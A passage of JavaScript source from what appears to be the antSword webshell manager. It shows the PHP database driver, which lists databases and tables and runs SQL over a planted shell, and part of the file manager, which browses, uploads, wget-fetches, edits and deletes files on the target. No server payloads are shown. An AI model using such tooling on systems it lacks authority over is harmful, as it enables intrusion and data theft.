['exec']);\n      }\n    });\n\n    editor.session.setValue('SELECT \"Hello antSword :)\" AS welcome;');\n\n    return {\n      editor: editor,\n      layout: layout,\n      toolbar: toolbar\n    };\n  }\n\n  // 初始化右侧::执行结果\n  initResult(layout) {\n    layout.setText(`<i class=\"fa fa-inbox\"></i> ${LANG['result']['title']}`);\n    // layout.hideHeader();\n\n    // const toolbar = layout.attachToolbar();\n    // toolbar.loadStruct([\n    //   { id: 'dump', text: '导出', icon: 'upload', type: 'button', disabled: true },\n    //   { type: 'separator' }\n    // ]);\n    return {\n      layout: layout,\n      // toolbar: toolbar\n    };\n  }\n\n  // 创建窗口\n  createWin(opts) {\n    const hash = (+new Date * Math.random()).toString(16).substr(2, 8);\n    // 默认配置\n    const opt = $.extend({\n      title: 'Window:' + hash,\n      width: 550,\n      height: 450\n    }, opts);\n\n    // 创建窗口\n    const _win = this.win.createWindow(hash, 0, 0, opt['width'], opt['height']);\n    _win.setText(opt['title']);\n    _win.centerOnScreen();\n    _win.button('minmax').show();\n    _win.button('minmax').enable();\n\n    // 返回窗口对象\n    return _win;\n  }\n\n}\n\n// export default Database;\nmodule.exports = Database;\n"
  },
  {
    "path": "antSword/source/modules/database/php/index.js",
    "content": "//\n// 数据库驱动::PHP\n// 支持数据库:mysql,mssql,oracle,informix\n//\n\nconst LANG = antSword['language']['database'];\nconst LANG_T = antSword['language']['toastr'];\n\nclass PHP {\n\n  constructor(opt) {\n    this.opt = opt;\n    this.core = this.opt.core;\n    this.manager = this.opt.super;\n    // 1. 初始化TREE UI\n    this.tree = this.manager.list.layout.attachTree();\n    // 2. 加载数据库配置\n    this.parse();\n    // 3. tree单击::设置当前配置&&激活按钮\n    this.tree.attachEvent('onClick', (id) => {\n      // 更改按钮状态\n      id.startsWith('conn::') ? this.enableToolbar() : this.disableToolbar();\n      // 设置当前配置\n      const tmp = id.split('::');\n      const arr = tmp[1].split(':');\n      // 设置当前数据库\n      this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n        _id: this.manager.opt['_id'],\n        id: arr[0]\n      });\n      if (arr.length > 1) {\n        this.dbconf['database'] = new Buffer(arr[1], 'base64').toString();\n        // 更新SQL编辑器\n        this.enableEditor();\n        // manager.query.update(this.currentConf);\n      }else{\n        this.disableEditor();\n      }\n    });\n    // 4. tree双击::加载库/表/字段\n    this.tree.attachEvent('onDblClick', (id) => {\n      const arr = id.split('::');\n      if (arr.length < 2) { throw new Error('ID ERR: ' + id) };\n\n      switch(arr[0]) {\n        // 获取数据库列表\n        case 'conn':\n          this.getDatabases(arr[1]);\n          break;\n        // 获取数据库表名\n        case 'database':\n          let _db = arr[1].split(':');\n          this.getTables(\n            _db[0],\n            new Buffer(_db[1], 'base64').toString()\n          );\n          break;\n        // 获取表名字段\n        case 'table':\n          let _tb = arr[1].split(':');\n          this.getColumns(\n            _tb[0],\n            new Buffer(_tb[1], 'base64').toString(),\n            new Buffer(_tb[2], 'base64').toString()\n          );\n          break;\n        // 生成查询SQL语句\n        case 'column':\n          let _co = arr[1].split(':');\n          const table = new Buffer(_co[2], 'base64').toString();\n          const column = new Buffer(_co[3], 'base64').toString();\n\n          const sql = `SELECT \\`${column}\\` FROM \\`${table}\\` ORDER BY 1 DESC LIMIT 0,20;`;\n          this.manager.query.editor.session.setValue(sql);\n          break;\n      }\n    });\n    // 5. tree右键::功能菜单\n    this.tree.attachEvent('onRightClick', (id, event) => {\n      if (!id.startsWith('conn::')) { return };\n      this.tree.selectItem(id);\n      this.tree.callEvent('onClick', [id]);\n      bmenu([\n        {\n          text: LANG['list']['menu']['add'],\n          icon: 'fa fa-plus-circle',\n          action: this.addConf.bind(this)\n        }, {\n          divider: true\n        }, {\n          text: LANG['list']['menu']['edit'],\n          icon: 'fa fa-edit',\n          action: this.editConf.bind(this)\n        }, {\n          divider: true\n        }, {\n          text: LANG['list']['menu']['del'],\n          icon: 'fa fa-remove',\n          action: this.delConf.bind(this)\n        }\n      ], event);\n    });\n  }\n\n  // 加载配置列表\n  parse() {\n    // 获取数据\n    const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n    const conf = info['database'] || {};\n    // 刷新UI\n    // 1.清空数据\n    this.tree.deleteChildItems(0);\n    // 2.添加数据\n    let items = [];\n    for (let _ in conf) {\n      items.push({\n        id: `conn::${_}`,\n        text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n        im0: this.manager.list.imgs[0],\n        im1: this.manager.list.imgs[0],\n        im2: this.manager.list.imgs[0]\n      });\n    }\n    // 3.刷新UI\n    this.tree.parse({\n      id: 0,\n      item: items\n    }, 'json');\n    // 禁用按钮\n    this.disableToolbar();\n    this.disableEditor();\n  }\n\n  // 添加配置\n  addConf() {\n    const hash = (+new Date * Math.random()).toString(16).substr(2, 8);\n    // 创建窗口\n    const win = this.manager.win.createWindow(hash, 0, 0, 450, 300);\n    win.setText(LANG['form']['title']);\n    win.centerOnScreen();\n    win.button('minmax').hide();\n    win.setModal(true);\n    win.denyResize();\n    // 工具栏\n    const toolbar = win.attachToolbar();\n    toolbar.loadStruct([{\n      id: 'add',\n      type: 'button',\n      icon: 'plus-circle',\n      text: LANG['form']['toolbar']['add']\n    }, {\n      type: 'separator'\n    }, {\n      id: 'clear',\n      type: 'button',\n      icon: 'remove',\n      text: LANG['form']['toolbar']['clear']\n    }]);\n\n    // form\n    const form = win.attachForm([\n      { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 },\n      { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [\n        { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: [\n          { text: 'MYSQL', value: 'mysql', list: [\n\n            { type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },\n            { type: 'label', label: LANG['form']['encode'] },\n            { type: 'combo', label: '', name: 'encode', options: (() => {\n              let ret = [];\n              ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {\n                ret.push({\n                  text: _,\n                  value: _\n                });\n              })\n              return ret;\n            })() }\n\n          ] },\n          { text: 'MYSQLI', value: 'mysqli', list: [\n\n            { type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },\n            { type: 'label', label: LANG['form']['encode'] },\n            { type: 'combo', label: '', name: 'encode', options: (() => {\n              let ret = [];\n              ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {\n                ret.push({\n                  text: _,\n                  value: _\n                });\n              })\n              return ret;\n            })() }\n\n          ] },\n          { text: 'MSSQL', value: 'mssql' },\n          { text: 'ORACLE', value: 'oracle' },\n          { text: 'INFORMIX', value: 'informix' }\n        ] },\n        { type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: 'localhost' },\n        { type: 'input', label: LANG['form']['user'], name: 'user', required: true, value: 'root' },\n        { type: 'input', label: LANG['form']['passwd'], name: 'passwd', value: '' }\n      ]}\n    ], true);\n\n    form.attachEvent('onChange', (_, id) => {\n      if (_ !== 'type') { return };\n      switch(id) {\n        case 'mysql':\n        case 'mysqli':\n          form.setFormData({\n            user: 'root',\n            passwd: ''\n          });\n          break;\n        case 'mssql':\n          form.setFormData({\n            user: 'sa',\n            passwd: ''\n          });\n          break;\n        default:\n          form.setFormData({\n            user: 'dbuser',\n            passwd: 'dbpwd'\n          });\n      }\n    });\n\n    // 工具栏点击事件\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'clear':\n          form.clear();\n          break;\n        case 'add':\n          if (!form.validate()) {\n            return toastr.warning(LANG['form']['warning'], LANG_T['warning']);\n          };\n          // 解析数据\n          let data = form.getValues();\n          // 验证是否连接成功(获取数据库列表)\n          const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', {\n            _id: this.manager.opt['_id'],\n            data: data\n          });\n          win.close();\n          toastr.success(LANG['form']['success'], LANG_T['success']);\n          this.tree.insertNewItem(0,\n            `conn::${id}`,\n            `${data['type']}:\\/\\/${data['user']}@${data['host']}`,\n            null,\n            this.manager.list.imgs[0],\n            this.manager.list.imgs[0],\n            this.manager.list.imgs[0]\n          );\n          break;\n      }\n    });\n  }\n\n  // 编辑配置\n  editConf(){\n    const id = this.tree.getSelected().split('::')[1];\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n    const hash = (+new Date * Math.random()).toString(16).substr(2, 8);\n    // 创建窗口\n    const win = this.manager.win.createWindow(hash, 0, 0, 450, 300);\n    win.setText(LANG['form']['title']);\n    win.centerOnScreen();\n    win.button('minmax').hide();\n    win.setModal(true);\n    win.denyResize();\n    // 工具栏\n    const toolbar = win.attachToolbar();\n    toolbar.loadStruct([{\n      id: 'edit',\n      type: 'button',\n      icon: 'edit',\n      text: LANG['form']['toolbar']['edit']\n    }, {\n      type: 'separator'\n    }, {\n      id: 'clear',\n      type: 'button',\n      icon: 'remove',\n      text: LANG['form']['toolbar']['clear']\n    }]);\n\n    // form\n    const form = win.attachForm([\n      { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 },\n      { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [\n        { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: [\n          { text: 'MYSQL', value: 'mysql', selected: conf['type'] === 'mysql', list: [\n\n            { type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },\n            { type: 'label', label: LANG['form']['encode'] },\n            { type: 'combo', label: '', name: 'encode', options: (() => {\n              let ret = [];\n              ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {\n                ret.push({\n                  text: _,\n                  value: _,\n                  selected: conf['encode'] === _\n                });\n              })\n              return ret;\n            })() }\n\n          ] },\n          { text: 'MYSQLI', value: 'mysqli', selected: conf['type'] === 'mysqli', list: [\n\n            { type: 'settings', position: 'label-left', offsetLeft: 70, labelWidth: 90, inputWidth: 150 },\n            { type: 'label', label: LANG['form']['encode'] },\n            { type: 'combo', label: '', name: 'encode', options: (() => {\n              let ret = [];\n              ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'].map((_) => {\n                ret.push({\n                  text: _,\n                  value: _,\n                  selected: conf['encode'] === _\n                });\n              })\n              return ret;\n            })() }\n\n          ] },\n          { text: 'MSSQL', value: 'mssql', selected: conf['type'] === 'mssql' },\n          { text: 'ORACLE', value: 'oracle', selected: conf['type'] === 'oracle' },\n          { text: 'INFORMIX', value: 'informix', selected: conf['type'] === 'informix' }\n        ] },\n        { type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: conf['host'] },\n        { type: 'input', label: LANG['form']['user'], name: 'user', required: true, value: conf['user'] },\n        { type: 'input', label: LANG['form']['passwd'], name: 'passwd', value: conf['passwd'] }\n      ]}\n    ], true);\n\n    form.attachEvent('onChange', (_, id) => {\n      if (_ !== 'type') { return };\n      switch(id) {\n        case 'mysql':\n        case 'mysqli':\n          form.setFormData({\n            user: conf['user'],\n            passwd: conf['passwd']\n          });\n          break;\n        case 'mssql':\n          form.setFormData({\n            user: conf['user'],\n            passwd: conf['passwd']\n          });\n          break;\n        default:\n          form.setFormData({\n            user: conf['user'],\n            passwd: conf['passwd']\n          });\n      }\n    });\n\n    // 工具栏点击事件\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'clear':\n          form.clear();\n          break;\n        case 'edit':\n          if (!form.validate()) {\n            return toastr.warning(LANG['form']['warning'], LANG_T['warning']);\n          };\n          // 解析数据\n          let data = form.getValues();\n          // 验证是否连接成功(获取数据库列表)\n          const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', {\n            _id: this.manager.opt['_id'],\n            id: this.tree.getSelected().split('::')[1],\n            data: data\n          });\n          win.close();\n          toastr.success(LANG['form']['success'], LANG_T['success']);\n          // 刷新 UI\n          this.parse();\n          break;\n      }\n    });\n  }\n\n  // 删除配置\n  delConf() {\n    const id = this.tree.getSelected().split('::')[1];\n    layer.confirm(LANG['form']['del']['confirm'], {\n      icon: 2, shift: 6,\n      title: LANG['form']['del']['title']\n    }, (_) => {\n      layer.close(_);\n      const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', {\n        _id: this.manager.opt['_id'],\n        id: id\n      });\n      if (ret === 1) {\n        toastr.success(LANG['form']['del']['success'], LANG_T['success']);\n        this.tree.deleteItem(`conn::${id}`);\n        // 禁用按钮\n        this.disableToolbar();\n        this.disableEditor();\n        // ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem);\n        // this.parse();\n      }else{\n        toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']);\n      }\n    });\n  }\n\n  // 获取数据库列表\n  getDatabases(id) {\n    this.manager.list.layout.progressOn();\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n    this.core.request(\n      this.core[`database_${conf['type']}`].show_databases({\n        host: conf['host'],\n        user: conf['user'],\n        passwd: conf['passwd']\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      const arr = ret.split('\\t');\n      if (arr.length === 1 && ret === '') {\n        toastr.warning(LANG['result']['warning'], LANG_T['warning']);\n        return this.manager.list.layout.progressOff();\n      };\n      // 删除子节点\n      this.tree.deleteChildItems(`conn::${id}`);\n      // 添加子节点\n      arr.map((_) => {\n        if (!_) { return };\n        const _db = new Buffer(_).toString('base64');\n        this.tree.insertNewItem(\n          `conn::${id}`,\n          `database::${id}:${_db}`,\n          _, null,\n          this.manager.list.imgs[1],\n          this.manager.list.imgs[1],\n          this.manager.list.imgs[1]);\n      });\n      this.manager.list.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.list.layout.progressOff();\n    });\n  }\n\n  // 获取数据库表数据\n  getTables(id, db) {\n    this.manager.list.layout.progressOn();\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n\n    this.core.request(\n      this.core[`database_${conf['type']}`].show_tables({\n        host: conf['host'],\n        user: conf['user'],\n        passwd: conf['passwd'],\n        db: db\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      const arr = ret.split('\\t');\n      const _db = new Buffer(db).toString('base64');\n      // 删除子节点\n      this.tree.deleteChildItems(`database::${id}:${_db}`);\n      // 添加子节点\n      arr.map((_) => {\n        if (!_) { return };\n        const _table = new Buffer(_).toString('base64');\n        this.tree.insertNewItem(\n          `database::${id}:${_db}`,\n          `table::${id}:${_db}:${_table}`,\n          _,\n          null,\n          this.manager.list.imgs[2],\n          this.manager.list.imgs[2],\n          this.manager.list.imgs[2]\n        );\n      });\n      this.manager.list.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.list.layout.progressOff();\n    });\n  }\n\n  // 获取字段\n  getColumns(id, db, table) {\n    this.manager.list.layout.progressOn();\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n\n    this.core.request(\n      this.core[`database_${conf['type']}`].show_columns({\n        host: conf['host'],\n        user: conf['user'],\n        passwd: conf['passwd'],\n        db: db,\n        table: table\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      const arr = ret.split('\\t');\n      const _db = new Buffer(db).toString('base64');\n      const _table = new Buffer(table).toString('base64');\n      // 删除子节点\n      this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`);\n      // 添加子节点\n      arr.map((_) => {\n        if (!_) { return };\n        const _column = new Buffer(_.split(' ')[0]).toString('base64');\n        this.tree.insertNewItem(\n          `table::${id}:${_db}:${_table}`,\n          `column::${id}:${_db}:${_table}:${_column}`,\n          _, null,\n          this.manager.list.imgs[3],\n          this.manager.list.imgs[3],\n          this.manager.list.imgs[3]\n        );\n      });\n      // 更新编辑器SQL语句\n      this.manager.query.editor.session.setValue(`SELECT * FROM \\`${table}\\` ORDER BY 1 DESC LIMIT 0,20;`);\n      this.manager.list.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.list.layout.progressOff();\n    });\n  }\n\n  // 执行SQL\n  execSQL(sql) {\n    this.manager.query.layout.progressOn();\n\n    this.core.request(\n      this.core[`database_${this.dbconf['type']}`].query({\n        host: this.dbconf['host'],\n        user: this.dbconf['user'],\n        passwd: this.dbconf['passwd'],\n        db: this.dbconf['database'],\n        sql: sql,\n        encode: this.dbconf['encode'] || 'utf8'\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      // 更新执行结果\n      this.updateResult(ret);\n      this.manager.query.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.query.layout.progressOff();\n    });\n  }\n\n  // 更新SQL执行结果\n  updateResult(data) {\n    // 1.分割数组\n    const arr = data.split('\\n');\n    // 2.判断数据\n    if (arr.length < 2) {\n      return toastr.error(LANG['result']['error']['parse'], LANG_T['error']);\n    };\n    // 3.行头\n    let header_arr = arr[0].split('\\t|\\t');\n    if (header_arr.length === 1) {\n      return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']);\n    };\n    if (header_arr[header_arr.length - 1] === '\\r') {\n      header_arr.pop();\n    };\n    arr.shift();\n    // 4.数据\n    let data_arr = [];\n    arr.map((_) => {\n      let _data = _.split('\\t|\\t');\n      for (let i = 0; i < _data.length; i ++) {\n      \t_data[i] = antSword.noxss(new Buffer(_data[i], \"base64\").toString());\n      }\n      data_arr.push(_data);\n    });\n    data_arr.pop();\n    // 5.初始化表格\n    const grid = this.manager.result.layout.attachGrid();\n    grid.clearAll();\n    grid.setHeader(header_arr.join(',').replace(/,$/, ''));\n    grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));\n    grid.setInitWidths('*');\n    grid.setEditable(true);\n    grid.init();\n    // 添加数据\n    let grid_data = [];\n    for (let i = 0; i < data_arr.length; i ++) {\n      grid_data.push({\n        id: i + 1,\n        data: data_arr[i]\n      });\n    }\n    grid.parse({\n      'rows': grid_data\n    }, 'json');\n    // 启用导出按钮\n    // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');\n  }\n\n  // 禁用toolbar按钮\n  disableToolbar() {\n    this.manager.list.toolbar.disableItem('del');\n    this.manager.list.toolbar.disableItem('edit');\n  }\n\n  // 启用toolbar按钮\n  enableToolbar() {\n    this.manager.list.toolbar.enableItem('del');\n    this.manager.list.toolbar.enableItem('edit');\n  }\n\n  // 禁用SQL编辑框\n  disableEditor() {\n    ['exec', 'clear'].map(\n      this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar)\n    );\n    this.manager.query.editor.setReadOnly(true);\n  }\n\n  // 启用SQL编辑框\n  enableEditor() {\n    ['exec', 'clear'].map(\n      this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar)\n    );\n    this.manager.query.editor.setReadOnly(false);\n  }\n\n}\n\nmodule.exports = PHP;\n"
  },
  {
    "path": "antSword/source/modules/filemanager/files.js",
    "content": "//\n// 文件管理 模块\n//\n\nconst LANG_T = antSword['language']['toastr'];\nconst LANG = antSword['language']['filemanager']['files'];\n\nclass Files {\n\n  // 需要参数\n  // 1.cell: 左侧layout.cell对象\n  // 2.manager 主对象（index.jsx）\n  constructor(cell, manager) {\n    const self = this;\n    cell.setText(`<i class=\"fa fa-file-o\"></i> ${LANG['title']}`);\n    // 创建toolbar\n    const toolbar = cell.attachToolbar();\n    // 加载本地缓存书签栏\n    let bookmark = JSON.parse(manager.storage('bookmarks').get('{}'));\n    // 重新加载书签\n    this.reloadToolbar = () => {\n      let bookmark_opts = [{\n        id: 'bookmark_add',\n        type: 'button',\n        icon: 'plus-circle',\n        text: LANG['bookmark']['add'],\n        enabled: !bookmark[manager.path]\n      }];\n      if (!$.isEmptyObject(bookmark)) {\n        bookmark_opts.push({ type: 'separator' });\n      };\n      for (let _ in bookmark) {\n        bookmark_opts.push({\n          id: 'bookmark_' + _,\n          text: bookmark[_],\n          icon: 'bookmark-o',\n          type: 'button',\n          enabled: manager.path !== _\n        });\n      }\n      // 添加清除按钮\n      if (bookmark_opts.length > 2) {\n        bookmark_opts.push({\n          type: 'separator'\n        });\n        bookmark_opts.push({\n          id: 'bookmark_remove',\n          icon: 'remove',\n          text: LANG['bookmark']['del'],\n          type: 'button',\n          enabled: !!bookmark[manager.path]\n        });\n        bookmark_opts.push({\n          id: 'bookmark_clear',\n          icon: 'trash-o',\n          text: LANG['bookmark']['clear'],\n          type: 'button'\n        });\n      };\n\n      toolbar.clearAll();\n      toolbar.loadStruct([\n        {\n          id: 'new', type: 'buttonSelect', icon: 'plus-circle', text: LANG['toolbar']['new'], openAll: true,\n          options: [\n            { id: 'new_folder', icon: 'folder-o', type: 'button', text: LANG['toolbar']['folder'] },\n            { id: 'new_file', icon: 'file-o', type: 'button', text: LANG['toolbar']['file'] },\n            { type: 'separator' },\n            { id: 'new_wget', icon: 'cloud-download', type: 'button', text: LANG['toolbar']['wget'] },\n            { id: 'new_upload', icon: 'cloud-upload', type: 'button', text: LANG['toolbar']['upload'] }\n         ]\n        },\n        { type: 'separator' },\n        { id: 'up', type: 'button', icon: 'arrow-up', text: LANG['toolbar']['up'] },\n        { type: 'separator' },\n        { id: 'refresh', type: 'button', icon: 'refresh', text: LANG['toolbar']['refresh'] },\n        { type: 'separator' },\n        { id: 'home', type: 'button', icon: 'home', text: LANG['toolbar']['home'] },\n        { type: 'separator' },\n        {\n          id: 'bookmark', type: 'buttonSelect', icon: 'bookmark', text: LANG['toolbar']['bookmark'], openAll: true,\n          options: bookmark_opts\n        },\n        { type: 'separator' },\n        { id: 'path', width: 300, type: 'buttonInput', value: manager.path || 'loading..' },\n        { id: 'read_path', type: 'button', icon: 'arrow-right', text: LANG['toolbar']['read'] },\n        { type: 'separator' }\n      ]);\n    }\n\n    this.reloadToolbar();\n    // reloadToolbar();\n    // this.reloadToolbar = reloadToolbar;\n    // toolbar点击事件\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'up':\n          self.gotoPath('..');\n          break;\n        case 'refresh':\n          self.refreshPath();\n          break;\n        case 'read_path':\n          let pwd = toolbar.getInput('path').value;\n          self.gotoPath(pwd);\n          break;\n        case 'home':\n          self.gotoPath(manager.home);\n          break;\n        case 'new_folder':\n          manager.createFolder();\n          break;\n        case 'new_file':\n          manager.createFile();\n          break;\n        case 'new_wget':\n          manager.wgetFile();\n          break;\n        case 'new_upload':\n          manager.uploadFile();\n          break;\n        case 'bookmark_add':\n          // 添加书签\n          layer.prompt({\n            value: self.manager.path,\n            title: LANG['prompt']['add']['title']\n          }, (value, i, e) => {\n            bookmark[self.manager.path] = value;\n            self.manager.storage('bookmarks').set(JSON.stringify(bookmark));\n            toastr.success(LANG['prompt']['add']['success'](self.manager.path), LANG_T['success']);\n            self.reloadToolbar();\n            layer.close(i);\n          });\n          break;\n        case 'bookmark_remove':\n          layer.confirm(\n            LANG['prompt']['remove']['confirm']\n            , {\n              icon: 2, shift: 6,\n              title: `<i class=\"fa fa-remove\"></i> ${LANG['prompt']['remove']['title']}`,\n            }\n            , (_) => {\n              // 删除书签并刷新\n              delete bookmark[self.manager.path];\n              self.manager.storage('bookmarks').set(JSON.stringify(bookmark));\n              self.reloadToolbar();\n              toastr.success(LANG['prompt']['remove']['success'], LANG_T['success']);\n              layer.close(_);\n            }\n          )\n          break;\n        case 'bookmark_clear':\n          layer.confirm(\n            LANG['prompt']['clear']['confirm']\n            , {\n              icon: 2, shift: 6,\n              title: `<i class=\"fa fa-trash-o\"></i> ${LANG['prompt']['clear']['title']}`\n            }\n            , (_) => {\n              bookmark = {};\n              self.manager.storage('bookmarks').set('{}');\n              self.reloadToolbar();\n              toastr.success(LANG['prompt']['clear']['success'], LANG_T['success']);\n              layer.close(_);\n            }\n          )\n          break;\n        default:\n          let arr = id.split('_');\n          if (arr.length === 2 && arr[0] === 'bookmark') {\n            self.gotoPath(arr[1]);\n          };\n      }\n    });\n    toolbar.attachEvent('onEnter', (id, value) => {\n      switch(id) {\n        case 'path':\n          self.gotoPath(value);\n          break;\n      }\n    });\n    // 创建grid\n    let grid = cell.attachGrid();\n\n    grid.setHeader(`\n      &nbsp;,\n      ${LANG['grid']['header']['name']},\n      ${LANG['grid']['header']['time']},\n      ${LANG['grid']['header']['size']},\n      ${LANG['grid']['header']['attr']}\n    `);\n    grid.setColTypes(\"ro,ro,ro,ro,ro\");\n    grid.setColSorting('str,str,str,str,str');\n    grid.setInitWidths(\"40,*,150,100,100\");\n    grid.setColAlign(\"center,left,left,right,center\");\n    grid.enableMultiselect(true);\n    // grid.enableDragAndDrop(true);\n    // grid.enableMultiline(true);\n\n    // grid右键\n    // 空白数据右键fix\n    $('.objbox').on('contextmenu', (e) => {\n      (e.target.nodeName === 'DIV' && grid.callEvent instanceof Function && antSword['tabbar'].getActiveTab().startsWith('tab_filemanager_')) ? grid.callEvent('onRightClick', [-1, -1, e]) : null;\n    });\n    $('.objbox').on('click', (e) => {\n      bmenu.hide();\n    });\n    grid.attachEvent('onRightClick', function(id, lid, event) {\n\n      // 获取选中ID列表\n      let _ids = (this.getSelectedId() || '').split(',');\n      // 如果是空白右键\n      if (id === -1) {\n        _ids = [];\n      }\n      // 如果没有选中？则选中右键对应选项\n      else if (_ids.length === 1) {\n        this.selectRowById(id);\n        _ids = [id];\n      };\n      let ids = [];\n      _ids.map((_) => {\n        ids.push(this.getRowAttribute(_, 'fname'));\n      });\n      id = ids[0] || '';\n\n      // 获取剪贴板内容\n      let _Clipboard = [];\n      let _Clipboard_num = 0;\n      for (let c in self.Clipboard) {\n        _Clipboard.push({\n          text: antSword.noxss(c),\n          icon: 'fa fa-' + (c.endsWith('/') ? 'folder-o' : 'file-o'),\n          action: ( (source, name) => {\n            return () => {\n              manager.pasteFile(source, name);\n            }\n          })(self.Clipboard[c], c)\n        });\n        _Clipboard_num ++;\n        if (!(_Clipboard_num % 5)) {\n          _Clipboard.push({ divider: true });\n        };\n      }\n      // 清除最后的divider\n      // if (_Clipboard.length % 5 && _Clipboard_num > 5) { _Clipboard.pop() };\n      // all item\n      if (_Clipboard.length > 0) {\n        _Clipboard.unshift({ divider: true });\n        _Clipboard.unshift({\n          text: LANG['grid']['contextmenu']['paste']['all'],\n          count: _Clipboard_num,\n          icon: 'fa fa-th-list',\n          action: () => {\n            _Clipboard.map( (c) => {\n              if (c['divider'] || c['count'] || c['text'] === LANG['grid']['contextmenu']['paste']['clear']['title']) { return };\n\n              let name = c['text'];\n              let source = self.Clipboard[name];\n\n              manager.pasteFile(source, name);\n\n            } );\n          }\n        });\n        // 清空剪贴板\n        !(_Clipboard[_Clipboard.length-1].divider) ? _Clipboard.push({ divider: true }) : 0;\n        _Clipboard.push({\n          text: LANG['grid']['contextmenu']['paste']['clear']['title'],\n          icon: 'fa fa-trash-o',\n          action: () => {\n            self.Clipboard = {};\n            toastr.info(LANG['grid']['contextmenu']['paste']['clear']['info'], LANG_T['info']);\n          }\n        });\n      };\n\n      let isFolder = id.endsWith('/');\n      // 可编辑文件后缀\n      let isEdited = false;\n      'php,asp,aspx,jsp,cfm,js,css,html,py,sh,bat,txt,log,ini,conf,sql'.split(',').map(\n        (e) => {\n          id.toLowerCase().endsWith(`.${e}`) ? isEdited = true : 0;\n        }\n      );\n\n      let menu = [\n        { text: LANG['grid']['contextmenu']['refresh'], icon: 'fa fa-refresh', action: () => { self.refreshPath(); } },\n        { divider: true },\n        { text: LANG['grid']['contextmenu']['wget'], icon: 'fa fa-cloud-download', action: manager.wgetFile.bind(manager) },\n        { text: LANG['grid']['contextmenu']['upload'], icon: 'fa fa-upload', action: manager.uploadFile.bind(manager) },\n        { text: LANG['grid']['contextmenu']['download'], icon: 'fa fa-download', disabled: isFolder || !id || ids.length > 1, action: () => {\n          manager.downloadFile(id, this.getRowAttribute(_ids[0], 'fsize'));\n        } },\n        { divider: true },\n        { text: LANG['grid']['contextmenu']['copy']['title'], icon: 'fa fa-copy', disabled: !id, action: () => {\n          // 如果只有一个id，则显示id名称，否则显示ids数量\n          ids.map( (id) => {\n            let path = manager.path + id;\n            // 判断是否已经复制\n            if (id in self.Clipboard) {\n              return toastr.warning(LANG['grid']['contextmenu']['copy']['warning'](id), LANG_T['warning']);\n            };\n            self.Clipboard[id] = path;\n            toastr.info(LANG['grid']['contextmenu']['copy']['info'](id), LANG_T['info']);\n          } );\n        } },\n        { text: LANG['grid']['contextmenu']['paste']['title'], icon: 'fa fa-paste', disabled: _Clipboard_num === 0, subMenu: _Clipboard },\n        { text: LANG['grid']['contextmenu']['preview'], icon: 'fa fa-eye', disabled: !id || ids.length > 1 || !self.checkPreview(id), action: () => {\n          manager.previewFile(id, this.getRowAttribute(_ids[0], 'fsize'));\n        } },\n        { divider: true },\n        { text: LANG['grid']['contextmenu']['edit'], icon: 'fa fa-edit', disabled: /*!isEdited || */!id || ids.length > 1 || isFolder, action: () => {\n          manager.editFile(id);\n        } },\n        { text: LANG['grid']['contextmenu']['delete'], icon: 'fa fa-trash-o', disabled: !id, action: 